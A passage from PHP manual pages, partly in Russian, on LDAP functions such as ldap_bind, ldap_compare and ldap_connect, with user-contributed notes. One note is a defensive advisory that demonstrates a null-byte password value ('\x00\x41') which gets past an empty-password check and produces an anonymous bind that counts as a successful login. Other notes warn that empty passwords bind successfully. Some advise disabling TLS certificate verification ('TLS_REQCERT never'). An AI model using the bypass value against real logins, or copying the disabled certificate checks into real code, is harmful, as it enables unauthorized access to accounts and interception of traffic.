but if the server didn't respond the request locked at this point.
Then using code-completion I found there is a hidden LDAP option: LDAP_OPT_TIMEOUT

so changing the code to:

$this->conn = @ldap_connect($ip, $port);
ldap_set_option($this->conn, LDAP_OPT_NETWORK_TIMEOUT, 10);
ldap_set_option($this->conn, LDAP_OPT_TIMELIMIT, 10);
ldap_set_option($this->conn, LDAP_OPT_TIMEOUT, 10);
@ldap_bind($this->conn, $ldapUser, $ldapPwd);

finally made ldap binding timeout correctly.
RazmanAlias 25-Mar-2017 11:57
I use PHP 7.1.*. In this version ldap_bind will throw a RuntimeException if it fails to bind. I've tried with wrong host name, correct host and wrong password,  correct host and invalid DN syntax. All fail conditions seems to throw RuntimeException.

 So this function probably doesn't return false.
info at multiotp dot net 24-Dec-2015 04:15
GnuTLS and SChannel (Microsoft) implementations are not (yet) compatible for TLS 1.2 negotiation during LDAPS binding (when binding with Microsoft Windows 2012R2 server).

The trick is to disable TLS1.2 before using LDAP functions:

putenv('LDAPTLS_CIPHER_SUITE=NORMAL:!VERS-TLS1.2');
john dot doe at somewhere dot org 20-Jun-2014 05:53
In some structures its not possible to know the dn or rdn up front. However one can use $ldapuser= $samaccountname.'@'.domainname;
deniskutin at gmail dot com 11-Jul-2012 12:07
It's nessesary to add:

<?php
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)
?>

for ldap_bind returned true, while you try to bind for openldap (at least version 2.4.21)
peter dot schlaf at web dot de 20-Jun-2012 12:43
I had a problem doing a ldap_bind over SSL against Active Directory. The server kept telling me: 'Unable to bind to server:'. To solve this (OS: CentOS 6) make sure that /etc/openldap/ldap.conf has this line:

TLS_REQCERT allow
IanB 03-Jan-2012 12:38
If you're using SSL (e.g. ldaps) and ldap_bind is throwing 'Unable to bind to server:' errors, check that the hostname used in the ldap_connect matches the 'CN' in the SSL certificate on the LDAP server. For example:

<?
   ldap_connect('ldaps://ldap01');
  // 'ldap01' should match the CN in your LDAP server's SSL cert, otherwise the subsequent ldap_bind() will throw a bind error

?>

You can check your LDAP server's SSL cert using Openssl utility (Linux) - look for the 'Subject' line:

   $ openssl x509 -in /etc/pki/tls/certs/ldap01.crt -text -noout
   ...
        Subject: C=XY, ST=My State, L=My City, O=My Org, CN=ldap01/emailAddress=me@domain.com
   ...

I recently applied some updates to my system (now Centos 5.7 and PHP 5.3.6) and started having this issue with PHP scripts that had been fine previously where I was simply using the IP address of the server. Replacing the IP address with the hostname fixed my issue.
marnijt at LIKEHAM dot gmail dot com 01-Sep-2011 04:46
After a lot of trail and error i've found the way to authenticate to apple's Opendirectory (snow leopard server) and thought it maybe useful to share.

<?php
    // using ldap bind
    $ldaprdn  = 'uid=USERNAME,cn=users,dc=HOSTNAME,dc=DOMAIN,dc=com';     // ldap rdn or dn
    $ldappass = 'PASSWORD';  // associated password

    // connect to ldap server
    $ldapconn = ldap_connect("HOSTNAME.DOMAIN.com")
            or die("Could not connect to LDAP server.");

    // Set some ldap options for talking to
    ldap_set_option($ldapconn, LDAP_OPT_PROTOCOL_VERSION, 3);
    ldap_set_option($ldapconn, LDAP_OPT_REFERRALS, 0);

    if ($ldapconn) {

            // binding to ldap server
            $ldapbind = @ldap_bind($ldapconn, $ldaprdn, $ldappass);

            // verify binding
            if ($ldapbind) {
                echo "LDAP bind successful...\n";
            } else {
                echo "LDAP bind failed...\n";
            }

    }

?>
bydand1959 at yahoo dot com 24-Jul-2011 04:16
LDAP control support is missing from this implementation. Response controls might be part of the response(s) to the BIND request and must be handled in code.
gtkspert_SPAMMENOT_ at gmail dot com 21-Mar-2011 05:31
Interesting point,

if you can't bind to active directory with the error "49: Invalid Credentials", you can get the extended error output from the ldap_get_option function, using the option: LDAP_OPT_DIAGNOSTIC_MESSAGE. Unfortunately php hasn't defined this by default, but it's value is 0x0032.

This is useful if a user must change their password at first login (Data: 773), or if their account has expired on the network (Data: 532).

<?php

define(LDAP_OPT_DIAGNOSTIC_MESSAGE, 0x0032)

$handle = ldap_connect('ldap://active.directory.server/');
$bind = ldap_bind($handle, 'user', 'expiredpass');

if ($bind) {
    if (ldap_get_option($handle, LDAP_OPT_DIAGNOSTIC_MESSAGE, $extended_error)) {
        echo "Error Binding to LDAP: $extended_error";
    } else {
        echo "Error Binding to LDAP: No additional information is available.";
    }
}
?>

Or something to that effect..

It took me a while to work this one out, so i figured i'd share my results..
elsint at yahoo dot com 16-Dec-2010 02:00
If you are still having trouble after following all the instructions on the Web to get LDAPS to work, here's what worked for me:

I was trying to do LDAPS connection (our LDAP server was using port 40636) by running following command:

ldap_connect("www.example.com",40636)

This didn't work for days till I changed it to the following format:

ldap_connect("ldaps://www.example.com:40636")

Hope it'll help some out there.

-Cagdas
magnetik at magnetik dot org 26-Oct-2010 12:27
Due to a bug in PHP 5.3 you may have to place the ldap.conf in the root of all your drives (I had to place it on D:).

See http://bugs.php.net/bug.php?id=48866
[nie ten]archie 10-Jun-2010 04:48
I'm using OpenLDAP on linux and found out the right bind sequence the hard way... so I'm sharing it with you:

(wkaiser solution is ok if everything works fine, but for development I would suggest using ldap_error command like this)

<?php
$ldapconfig['host'] = '10.10.10.10';
$ldapconfig['port'] = NULL;
$ldapconfig['basedn'] = 'dc=company,dc=com';

$ds=ldap_connect($ldapconfig['host'], $ldapconfig['port']);

$dn="uid=".$username.",ou=people,".$ldapconfig['basedn'];

if ($bind=ldap_bind($ds, $dn, $password)) {
  echo("Login correct");
} else {

  echo("Unable to bind to server.</br>");

  echo("msg:'".ldap_error($ds)."'</br>");#check if the message isn't: Can't contact LDAP server :)
  #if it say something about a cn or user then you are trying with the wrong $dn pattern i found this by looking at OpenLDAP source code :)
  #we can figure out the right pattern by searching the user tree
  #remember to turn on the anonymous search on the ldap server
  if ($bind=ldap_bind($ds)) {

    $filter = "(cn=*)";

    if (!($search=@ldap_search($ds, $ldapconfig['basedn'], $filter))) {
      echo("Unable to search ldap server<br>");
      echo("msg:'".ldap_error($ds)."'</br>");#check the message again
    } else {
      $number_returned = ldap_count_entries($ds,$search);
      $info = ldap_get_entries($ds, $search);
      echo "The number of entries returned is ". $number_returned."<p>";
      for ($i=0; $i<$info["count"]; $i++) {

        var_dump($info[$i]);#look for your user account in this pile of junk and apply the whole pattern where you build $dn to match exactly the ldap tree entry
      }
    }
  } else {
    echo("Unable to bind anonymously<br>");
    echo("msg:".ldap_error($ds)."<br>");
  }
}
?>

as you can see most of the examples use "cn=username" and OpenLDAP uses "uid=username" but who knows what will be used in the future builds, this code will help you check it out (I hope :)
spam[AT]it-blog[DOT]net 04-Sep-2009 07:18
When using LDAP with SSL and a LDAP server which uses a self-signed SSL certificate normally no connection will be established. Therefor you have to allow such connections explicitly.
With Linux (e.g. Debian, Ubuntu) you have to add "TLS_REQCERT never" to your /etc/ldap/ldap.conf. On other distributions this config file may be located somewhere else.
taomanjay at _DIESPAM_gmail dot com 09-Feb-2009 02:36
Just a quick and easy function to authenticate against an AD domain controller:

<?php
function ad_auth( $server, $username, $password ){
        $ldap = @ldap_connect( $server );

        if ( @ldap_bind( $ldap, $username, $password ) ){
                ldap_unbind( $ldap );
                return 1;
                }
        else{
                return 0;
                }
        }
?>
juan[dot]pineda[at]resultstel.com 07-Jan-2009 08:27
Active Directory doesn't accept anonymous requests anymore.

With Windows Server 2003, only authenticated users may initiate an LDAP request against Windows Server 2003-based domain controllers. You can override this new default behavior by changing the seventh character of the dsHeuristics attribute on the DN path as follows:
CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,Root domain in forest

from: http://support.microsoft.com/kb/326690
james at NOSPAM dot revillini dot com 27-Oct-2008 06:55
I couldn't get ldap_bind to work on an ldaps connection until I followed some instructions about creating an ldap.conf file.  I don't see these instructions anywhere on the php site.  Maybe they're on the OpenLDAP site, but I thought it would be useful to have here as well.  Credit goes to a dude known as 'LRM', and I found my solution here: http://lists.horde.org/archives/sork/Week-of-Mon-20040503/001578.html

My setup is XAMPP on Win XP.
###### ApacheFriends XAMPP (basic package) version 1.6.3a ######

  + Apache 2.2.4
  + MySQL 5.0.45
  + PHP 5.2.3 + PHP 4.4.7 + PEAR
  + PHP-Switch win32 1.0 (please use the "php-switch.bat")
  + XAMPP Control Version 2.5 from www.nat32.com
  + XAMPP Security 1.0
  + SQLite 2.8.15
  + OpenSSL 0.9.8e
  + phpMyAdmin 2.10.3
  + ADOdb 4.95
  + Mercury Mail Transport System v4.01b
  + FileZilla FTP Server 0.9.23
  + Webalizer 2.01-10
  + Zend Optimizer 3.3.0
  + eAccelerator 0.9.5.1 for PHP 5.2.3  (comment out in the php.ini)

1. create C:\OpenLDAP\sysconf\ldap.conf (Yes, it MUST be this path because it's hard-coded in the dll)
2. put this line at the top:

TLS_REQCERT never

3. Save, stop/start apache.

The reason is, I think, because it doesn't understand the certificate, so this directive tells it to not bother checking it.  I guess that could be unsafe in some cases, but in my case I'm confident with the server I'm connecting to.

My connection code was as follows (nothing new here, I don't think):

<?php
$con = @ldap_connect('ldaps://the.ldap.server', 636);
ldap_set_option($con, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($con, LDAP_OPT_REFERRALS, 0);
var_dump(@ldap_bind($con, 'user@sub.domain.com', 'password'));
?>

Good luck!  LDAPS can be a real bitch.
Devia dot Fan at gmail dot com 23-Jun-2008 10:12
Hi All, I just thought people should realize that the bug, or whatever change that was implemented with slapd and Openldap for the version V3 protocol has either not been repaired, or isn;t believed to be a bug or whatever...but still requires an implicit setting to V3 for use of the ldap_bind function. I am using Apache 2 and PHP 5.1 with LDAP 2. The default is set to deny V2 protocol, and even reconfiguring the slapd config file will not fix the problem.

You must still use the ldap_set_option function.

EX:

<?php
    $ldapHost = "ldap://server";
        $ldapPort = "port";
    $ldapUser ="cn=name,dc=domain";
    $ldapPswd ="password";

$ldapLink =ldap_connect($ldapHost, $ldapPort)
    or die("Can't establish LDAP connection");

if (ldap_set_option($ldapLink,LDAP_OPT_PROTOCOL_VERSION,3))
{
    echo "Using LDAP v3";
}else{
    echo "Failed to set version to protocol 3";
}

ldap_bind($ldapLink,$ldapUser,$ldapPswd)
    or die("Can't bind to server.");

?>

Thanks to Ken on below for showing the way. There was a slight code error in what he chose as his link_id, but thats all. This code above worked nice and shinny, and demonstrates we are still working with 2004 problems. I wish they would update this in the code above.
Josh A. 20-Jul-2007 07:29
The OpenLDAP libraries will return error 53 (Server unwilling to perform) when trying to re-bind to a non-anonymous account if you accidentally leave the password field blank. If you want to authenticate against a different field than the dn, you have to bind to the server twice. Your code may look like the following:

<?
function ldapLogin($uname, $pass, $base_dn, $fname, $server, $port){
    $ldc=@ldap_connect($server, $port);
    if (!$ldc) return ERROR_CODE;

    $bn='cn=anonymous-user,'.$base_dn;
    $pw='anonymous-pass';
    $lbind=@ldap_bind($ldc, $bn, $pw);
    if (!$lbind) return ERROR_CODE;

    $ureturn=@ldap_search($ldc, $base_dn, "($fname=$uname)", array('dn', 'givenName', 'sn', 'mail'));

    $uent=@ldap_first_entry($ldc, $ureturn);
    if (!$uent) return ERROR_CODE;

    $bn=@ldap_get_dn($ldc, $uent);

    //This line should use $pass rather than $password
    $lbind=@ldap_bind($ldc, $bn, $password);
    // Now you can find the error
    echo ldap_error($ltc);

    if ($lbind) return true; else return false;
?>

Hope this helps someone else running in to the same error.
Teemu 29-Mar-2007 12:44
Example of connecting and searching AD

$con = ldap_connect('ad.domain.com');
ldap_set_option($con, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($con, LDAP_OPT_REFERRALS, 0);
ldap_bind($con, 'user@DOMAIN.COM', 'clear password');

ldap_search($con, 'DC=domain,DC=com', '(uniqueMember=user)');
alex dot everett at okstate dot edu 07-Mar-2007 12:19
A number of examples and implementations of authentication schemes which use LDAP simple binds to authenticate users fail to properly sanitize user-submitted data. This can allow for an anonymous user to authenticate to a web-based application as an existing user. Provided below is a brief description and example of how this vulnerability can arise. For more detailed information please visit the links at the bottom of this posting.

The bind operation of LDAP, as described in RFC 4513, provides a method which allows for authentication of users. For the Simple Authentication Method a user may use the anonymous authentication mechanism, the unauthenticated authentication mechanism, or the name/password authentication mechanism. The unauthenticated authentication mechanism is used when a client who desires to establish an anonymous authorization state passes a non-zero length distinguished name and a zero length password. Most LDAP servers either can be configured to allow this mechanism or allow it by default. Web-based applications which perform the simple bind operation with the client's credentials are at risk when an anonymous authorization state is established. This can occur when the web-based application passes a distinguished name and a zero length password to the LDAP server.
This is commonly encountered when no password is provided from the client to the web-based application. This situation is described in some of the postings found below. For this situation, the recommendations found in other postings is sufficient to prevent authentication bypass.
However, no prior postings at php.net describe a situation in which a client may pass a distinguished username and a password of non-zero length to the web-based application which results in an anonymous authorization state. Below is an example of this situation.

$dn="testuser";
$pass="\x00\x41";
if (empty($dn) or empty($pass)) { exit(); } //check for empty strings
//if (preg_match('/[^a-zA-Z]/',$dn) or preg_match('/[^a-zA-Z0-9\x20!@#$%^&*()]/',$pass)) { exit(); } //check for expected values (whitelisting)
//if (preg_match('/\x00/',$dn) or preg_match('/\x00/',$pass)) { exit(); } //check for null byte (blacklisting)
$ldapconn=ldap_connect("192.0.2.2") or die("Could not connect to LDAP server.");
if ($ldapconn) {
        ldap_set_option($ldapconn, LDAP_OPT_PROTOCOL_VERSION, 3);
        $ldapbind=ldap_bind($ldapconn, $dn, $pass);
        if ($ldapbind) {
                echo("success");
        } else {
                echo("fail");
                }
        }

References:
http://security.okstate.edu
john dot hargrove at sellingsource dot com 01-Feb-2007 03:09
Note that you have to specify the protocol version prior to making a call to ldap_bind, when the server is expecting LDAP protocol version 3.  If you do not, you will receive a warning and fail to bind, such as:

ldap_bind(): Unable to bind to server: Protocol error

In order to avoid this, make this call:

<?php
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
?>

Where $ds is the result returned by ldap_connect(...);
david dot marsh at hartfordlife dot com 08-Aug-2006 12:49
had to do a bunch of research on this, but it does work, once config'd correctly.

using Apache/2.2.3 (Win32) mod_ssl/2.2.3 OpenSSL/0.9.8b
PHP PHP Version 5.1.5-dev

ldap_bind was getting "81 Can't contact LDAP server" which was really annoying, since the connection worked fine without "ldaps"
using:

$ldapconnect = @ldap_connect( $connection_string );

well, actually the bind was really the one failing...

$bind = ldap_bind($ldapconnect, $client, $this->objSecurityLogin->Password);

many attempts to determine until i smartened up and turned on the trace level:

ldap_set_option(NULL, LDAP_OPT_DEBUG_LEVEL, 7);

which must go before the connect!

found that on windows, you can't specifiy a quote in the ldap.conf:
i had:
TLS_REQCERT never
TLS_CACERT "C:\\Documents\\Tools\\Apache2\\conf\\ssl\\ad.pem"
which throws the error..
TLS: could not load verify locations (file:`"C:\Documents\Tools\Apache2\conf\ssl\ad.pem"',dir:`').
TLS: error:0200107B:system library:fopen:Unknown error .\crypto\bio\bss_file.c:122
TLS: error:2006D002:BIO routines:BIO_new_file:system lib .\crypto\bio\bss_file.c:127
TLS: error:0B084002:x509 certificate routines:X509_load_cert_crl_file:system lib .\crypto\x509\by_file.c:274
ldap_err2string

changed to:
TLS_REQCERT never
TLS_CACERT C:\\Documents\\Tools\\Apache2\\conf\\ssl\\ad.pem
which cleans it up as:
TLS trace: SSL_connect:before/connect initialization
TLS trace: SSL_connect:SSLv2/v3 write client hello A
TLS trace: SSL_connect:SSLv3 read server hello A
TLS certificate verification: depth: 1, err: 0, subject: /DC=xxx/DC=yyy/CN=zzzz, issuer: /DC=abab/DC=yyy/CN=zzzz
TLS certificate verification: depth: 0, err: 0, subject: ......

so the moral to the story is even though PHP wants quotes in some windows config parms, it won't work if its in ldap.conf!
romerom at cox dot net 12-Jul-2006 02:43
I ran into an issue trying to bind as "cn=manager,dc=example,dc=com".  I took the example kenn posted where he set LDAP_OPT_PROTOCOL_VERSION to "3" for the connection.  Once I set this, I was able to bind with my manager id.
dedlfix 03-May-2006 12:36
It doesn't make much sense to let die() the script in case of an error, otherwise to ask if there were no errors before proceeding the script, as the official examples do.

better:

<?php
ldap_bind(...) or die(...);
do_something();
?>

or even better (die() is quick but dirty)

<?php
if (!ldap_bind(...)) {
  error();
} else {
  do_something();
}
?>
baroque at citromail dot hu 05-Nov-2005 01:18
This code sample shows how to connect and bind to eDirectory in PHP using LDAP for Netware.

<?php

$server='137.65.138.159';
$admin='cn=admin,o=novell';
$passwd='novell';

$ds=ldap_connect($server);  // assuming the LDAP server is on this host

if ($ds) {
    // bind with appropriate dn to give update access
    $r=ldap_bind($ds, $admin, $passwd);
    if(!$r) die("ldap_bind failed<br>");

    echo "ldap_bind success";
    ldap_close($ds);
} else {
    echo "Unable to connect to LDAP server";
}
?>
17-Oct-2005 11:47
When using Active Directory 2003 (possibly also 2000) you can't search anonymously so you have to bind with a (known) user and password. Or else you will get an Search operations error. I also can confirm that an empty password bind succeeds! So test for an empty password first!

Some excellent information is found here:
http://www.scit.wlv.ac.uk/~jphb/sst/php/extra/ldap.html
http://www.scit.wlv.ac.uk/~jphb/sst/basics/ldap.html
darkstar_ae at hotmail dot com 15-Sep-2005 12:03
This may be a security issue but after tinkering for hours with the below ldap auth function (edi01 at gmx dot at), I discovered that the ldap_bind function will return true if you enter a valid username AND a NULL value!

so if that function were to receive something like $username = 'someuser' and $password = '', it would return true. As long as it isn't a null value the function will work as expected. Might as well check if it is null or empty then.
get_your_gun at hotmail dot com 23-Aug-2005 11:33
Hey

I was trying this all day and final noticed that when you use bind and authenticate. The user name needs to be as follows for it to work. I am using PHP V 4.03 so this might be different now but here is what I used and the auth worked.

<?php
$ldaphost = "ldap.what.at.greatnet.com";
$ldapport = 389;

$ds = ldap_connect($ldaphost, $ldapport)
or die("Could not connect to $ldaphost");

if ($ds)
{
    $username = "johndoe@what.at.greatnet.com";
    $upasswd = "pass";

    $ldapbind = ldap_bind($ds, $username, $upasswd);

    if ($ldapbind)
        {print "Congratulations! $username is authenticated.";}
    else
        {print "Nice try, kid. Better luck next time!";}
}

?>
edi01 at gmx dot at 05-Apr-2005 01:31
complete ldap authentication script:

function checkldapuser($username,$password,$ldap_server){
  if($connect=@ldap_connect($ldap_server)){ // if connected to ldap server

    if (ldap_set_option($connect, LDAP_OPT_PROTOCOL_VERSION, 3)) {
      echo "version 3<br>\n";
    } else {
      echo "version 2<br>\n";
    }
    echo "verification on '$ldap_server': ";

    // bind to ldap connection
    if(($bind=@ldap_bind($connect)) == false){
      print "bind:__FAILED__<br>\n";
      return false;
    }

    // search for user
    if (($res_id = ldap_search( $connect,
                                "dc=auto,dc=tuwien,dc=ac,dc=at",
                                "uid=$username")) == false) {
      print "failure: search in LDAP-tree failed<br>";
      return false;
    }

    if (ldap_count_entries($connect, $res_id) != 1) {
      print "failure: username $username found more than once<br>\n";
      return false;
    }

    if (( $entry_id = ldap_first_entry($connect, $res_id))== false) {
      print "failur: entry of searchresult couln't be fetched<br>\n";
      return false;
    }

    if (( $user_dn = ldap_get_dn($connect, $entry_id)) == false) {
      print "failure: user-dn coulnd't be fetched<br>\n";
      return false;
    }

    /* Authentifizierung des User */
    if (($link_id = ldap_bind($connect, $user_dn, $password)) == false) {
      print "failure: username, password didn't match: $user_dn<br>\n";
      return false;
    }

    return true;
    @ldap_close($connect);
  } else {                                  // no conection to ldap server
    echo "no connection to '$ldap_server'<br>\n";
  }

  echo "failed: ".ldap_error($connect)."<BR>\n";

  @ldap_close($connect);
  return(false);

}//end function checkldapuser

Here a sample for using this function:

if (checkldapuser('myuser', 'secretpassword', 'ldap://link.to.ldap')) {
  echo "ACCESS GRANTED\n";
} else {
  echo "ACCESS DENIED\n";
}
owen at delong dot com 24-Feb-2005 04:04
I am assuming that ldap_bind does a simple bind and that for other
types of bind, ldap_sasl_bind should be used.

Also, while the allow bind v2 solution will work with slapd, you really should
use ldap v3 if at all possible because of the security improvements and
better protocol definition.  LDAP v2 is largely deprecated at this point.

Hopefully the PHP default LDAP version will move to v3 soon.
phredbroughton at yahoo dot com 16-Feb-2005 11:27
As noted before with the password, I have found that if either  of the valuse for user or password are blank, or as in my case a typo resulted in a blank user as it was an undefined variable, the ldap_bind() will just perform an anonymous bind and return true!
Shouldn't this detect the presence of the additional values and return an error? At least if the user or password is passed. If they are both blank I'm not sure what it should do.
wkaiser at mpimf-heidelberg dot mpg dot de 24-Nov-2004 11:40
If you do not want to bind as unixadmin or *manager (i. e., for authentication on web applications), the following code could be useful:
<?php

$ldaphost = "ldap.yourdomain.com";

/*for a SSL secured ldap_connect()

$ldaphost = "ldap.yourdomain.com"; */

$ldapport = 389;

$ds = ldap_connect($ldaphost, $ldapport)
or die("Could not connect to $ldaphost");

if ($ds) {

$username = "some_user";
$upasswd = "secret";
$binddn = "uid=$username,ou=people,dc=yourdomain,dc=com";

$ldapbind = ldap_bind($ds, $binddn, $upasswd);

if ($ldapbind) {

print "Congratulations! $some_user is authenticated.";}

else {

print "Nice try, kid. Better luck next time!";}}

?>
jakob at grimstveit dot no 19-Oct-2004 08:33
As "john dot lewis at waldenweb dot com" correctly writes (and this is important to note and SHOULD be incorporated into the documentation as a warning - trying to bind with specific username and empty password will return TRUE.
kenn at pcintelligent dot com 13-Jun-2004 11:32
I want to point out that the line that reads

"$ldaprdn  = 'uname';"

is a bit confusing. You need to ensure that you use the entire rootdn. for instance. your code should look more like this...

<?php

// using ldap bind *** NOTE the uname *****
$ldaprdn  = 'cn=root,dc=testserver,dc=com';    // ldap rdn or dn
$ldappass = 'secret';  // associated password

// connect to ldap server
$ldapconn = ldap_connect("ldap.testserver.com")
   or die("Could not connect to LDAP server.");

if (ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)) {
   echo "Using LDAPv3";
} else {
   echo "Failed to set protocol version to 3";
}

if ($ldapconn) {

   // binding to ldap server
   $ldapbind = ldap_bind($ldapconn, $ldaprdn, $ldappass);

   // verify binding
   if ($ldapbind) {
       echo "LDAP bind successful...";
   } else {
       echo "LDAP bind failed...";
   }

}

?>
pete dot rowley at example dot com 31-Dec-2003 08:51
You should NOT attempt to bind with a made up password.  However small the chance, the chance remains that your code produces a valid password.  The correct behaviour is to test for an empty password, and if your application will only service authenticated users, not perform any more LDAP operations on behalf of the user - this also happens to be more efficient.
kokheng at jhs dot com dot sg 21-Nov-2002 01:01
OpenLdap 2.1.x libraries support both LDAPv2 and LDAPv3. The problem lies with the slapd, the ldap server bundled with OpenLDAP.  It's default supported version is LDAPv3. One can set the "allow bind_v2" in the slapd.conf file, with this configured, the PHP ldap_set_option() is not required.
elvisciousatrmci.net 27-Sep-2002 11:08
I ran into a problem where I was getting a protocol error when I tried to bind.  I was able to connect fine and ldap commands worked fine from the command line.

The problem turned out to be that openldap (v 2.1.5) was starting up in version 3 ldap mode, and php (4.2.3) expected it to be in version 2 mode.

To fix this use the ldap_set_option command to change the version that php expects.


Псевдоним ldap_unbind

  • « ldap_bind
  • ldap_compare »
  • PHP Manual
  • Функции LDAP
  • Псевдоним ldap_unbind

ldap_close

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_close — Псевдоним ldap_unbind()

Описание

Функция является псевдонимом: ldap_unbind().

User Contributed Notes

20-Jul-2001 11:15
<?php
$ds=ldap_connect("localhost");  // assuming the LDAP server is on this host

if ($ds) {
    $r=ldap_bind($ds,"cn=root, o=My Company, c=US", "secret");
    $info["cn"]="Roberto Celestino";
    $info["sn"]="Roberto";
    $info["mail"]="rcelestino@here.and.now";
    $info["objectclass"]="person";

    // add data to directory
    $r=ldap_add($ds, "cn=Celestino Roberto, o=Mi Compania, c=US", $info);
    //Close the link apointed by the identified $ds (get with ldap_connect)
    ldap_close($ds);

}
?>


Сравнить значение атрибута, найденного в записи определённой DN

  • « ldap_close
  • ldap_connect_wallet »
  • PHP Manual
  • Функции LDAP
  • Сравнить значение атрибута, найденного в записи определённой DN

ldap_compare

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

ldap_compare — Сравнить значение атрибута, найденного в записи определённой DN

Описание

ldap_compare(
LDAP\Connection $ldap,
string $dn,
string $attribute,
string $value,
?array $controls = null
): bool|int

Сравнивает значение (value) атрибута (attribute) со значением того же атрибута в записи LDAP-директории.

Список параметров

ldap

Экземпляр LDAP\Connection, возвращаемый функцией ldap_connect().

dn

Отличительное имя LDAP-объекта.

attribute

Имя атрибута.

value

Сравниваемое значение.

controls

Массив управляющих констант LDAP для отправки в запросе.

Возвращаемые значения

Возвращает true если value совпадают в противном случае false. Возвращает -1 в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
8.0.0 | controls теперь допускает значение null; ранее значение по умолчанию было [].
7.3.0 | Добавлена поддержка параметра controls

Примеры

Следующий пример демонстрирует, как проверить, совпадает ли данный пароль с тем, который определён в указанной записи DN.

Пример #1 Полный пример проверки пароля

<?php

$ds=ldap_connect("localhost"); // Предположим, что LDAP сервер находится по этому адресу

if ($ds) {

// bind
if (ldap_bind($ds)) {

// подготовка данных
$dn = "cn=Matti Meikku, ou=My Unit, o=My Company, c=FI";
$value = "secretpassword";
$attr = "password";

// сравнение данных
$r=ldap_compare($ds, $dn, $attr, $value);

if ($r === -1) {
echo "Ошибка: " . ldap_error($ds);
} elseif ($r === true) {
echo "Пароль верный.";
} elseif ($r === false) {
echo "Неправильное предположение! Пароль не верен.";
}

} else {
echo "Невозможно привязаться к серверу LDAP.";
}

ldap_close($ds);

} else {
echo "Невозможно соединиться с сервером LDAP.";
}
?>

Примечания

Внимание

ldap_compare() не может быть использована для сравнения бинарных (BINARY) значений!

User Contributed Notes

oudejans at zeelandnet dot nl 11-Apr-2005 05:10
With PHP 4.3.* is Password no longer a valid attribute.. try to use userPassword
chuck+ldap at 2006 dot snew dot com 05-Aug-2004 10:08
Just a side note that this is not how you'd ever AUTHENTICATE someone, just an example code.

The common way to authenticate is to get the users name, use search and perhaps selection to the user to get her DN (single value) then attempt to BIND to the ldapserver using that dn and the offered password.  If it works, then it's the right password.

Note that the password offered MUST NOT BE EMPTY or many LDAPs will presume you meant to authenticate anonymously and it will succeed, leaving you thinking it's the right password.
Brian Kerhin &lt;kerhin at bigfoot dot com&gt; 31-Jan-2001 06:13
Not probably, will.  With PHP 4.0.4 and openldap 1.2.9 this little script, even with the correct attributes for the password does not do the job.  Would superb if it did!
334647 at swin dot edu dot au 25-Oct-2000 07:06
Interesting example. Apart from the fact that very few people would allow comaprisions of the password attribute for security reasons. The attribute name of "password" does not match the usual schemas.

The usual method of user id + password verification is to attempt to bind using the supplied credentials.

Ldap compare on password values will probably fail with ns directroy server and openldap v2+ becuase of server support for password hashing.


Connect to an LDAP server

  • « ldap_compare
  • ldap_connect »
  • PHP Manual
  • Функции LDAP
  • Connect to an LDAP server

ldap_connect_wallet

(PHP 8 >= 8.3.0)

ldap_connect_wallet — Connect to an LDAP server

Описание

ldap_connect_wallet(
?string $uri = null,
string $wallet,
string $password,
int $auth_mode = GSLC_SSL_NO_AUTH
): LDAP\Connection|false

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

uri

wallet

password

auth_mode

Возвращаемые значения

Смотрите также

  • ldap_connect() - Подключиться к серверу LDAP

User Contributed Notes

There are no user contributed notes for this page.


Подключиться к серверу LDAP

  • « ldap_connect_wallet
  • ldap_control_paged_result_response »
  • PHP Manual
  • Функции LDAP
  • Подключиться к серверу LDAP

ldap_connect

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_connect — Подключиться к серверу LDAP

Описание

ldap_connect(?string $uri = null): LDAP\Connection|false
Внимание

Следующий синтаксис всё ещё поддерживается для обеспечения обратной совместимости (кроме использования именованных аргументов), но он объявлен устаревшим и больше не должен использоваться!

ldap_connect(?string $host = null, int $port = 389): LDAP\Connection|false

Создаёт LDAP\Connection и проверяет правдоподобность заданного uri.

Замечание: Эта функция НЕ открывает соединение. Она проверяет, правдоподобны ли заданные параметры и могут ли они использоваться для подключения, когда в нем возникнет нужна.

Список параметров

host

Полный LDAP URI вида ldap://hostname:port или ldaps://hostname:port.

Также вы можете указать несколько LDAP-URI, разделённых пробелом.

Обратите внимание, что hostname:port - это неподдерживаемый LDAP URI, так как отсутствует схема.

uri

Имя сервера для соединения.

port

Порт для соединения.

Возвращаемые значения

Возвращает экземпляр LDAP\Connection, если LDAP URI правдоподобен. Она производит синтаксический разбор и проверку переданных параметров, но соединения с сервером не происходит. Если проверка синтаксиса провалилась - возвращается false. ldap_connect() будет всегда возвращать экземпляр LDAP\Connection, поскольку она фактически не соединяется, а только инициализирует параметры соединения. Фактическое подключение происходит при последующих вызовах ldap_* функций, обычно при вызове ldap_bind().

Если никакие параметры не будут определены, тогда будет возвращён экземпляр LDAP\Connection открытого соединения.

Список изменений

Версия | Описание
8.1.0 | Возвращает экземпляр LDAP\Connection; ранее возвращался ресурс (resource).

Примеры

Пример #1 Пример подключения к серверу LDAP.

<?php

// LDAP переменные
$ldapuri = "ldap://ldap.example.com:389"; // ldap-uri

// Соединение с LDAP
$ldapconn = ldap_connect($ldapuri)
or die("LDAP-URI некорректен");

?>

Пример #2 Пример безопасного подключения к серверу LDAP.

<?php

// Убедитесь, что ваш хост корректный и
// что вы выдали ему сертификат безопасности
$ldaphost = "ldaps://ldap.example.com/";

// Соединение с LDAP
$ldapconn = ldap_connect($ldaphost)
or die("LDAP-URI некорректен");

?>

Смотрите также

  • ldap_bind() - Привязать к LDAP директории

User Contributed Notes

nateshull at gmail dot com 03-Mar-2020 07:26
Implementing LDAPS on a WISP stack - Win, IIS, SQL, PHP
PHP 7.0.19:

Had some issues with some of the instructions and I needed LDAPS for an upcoming Active Directory update that removes insecure LDAP connections.

Enable modules for ldap and openssl in php.ini

Also ensure the extensions are in the ext folder

Verify the modules are loaded: phpinfo()

Notes:
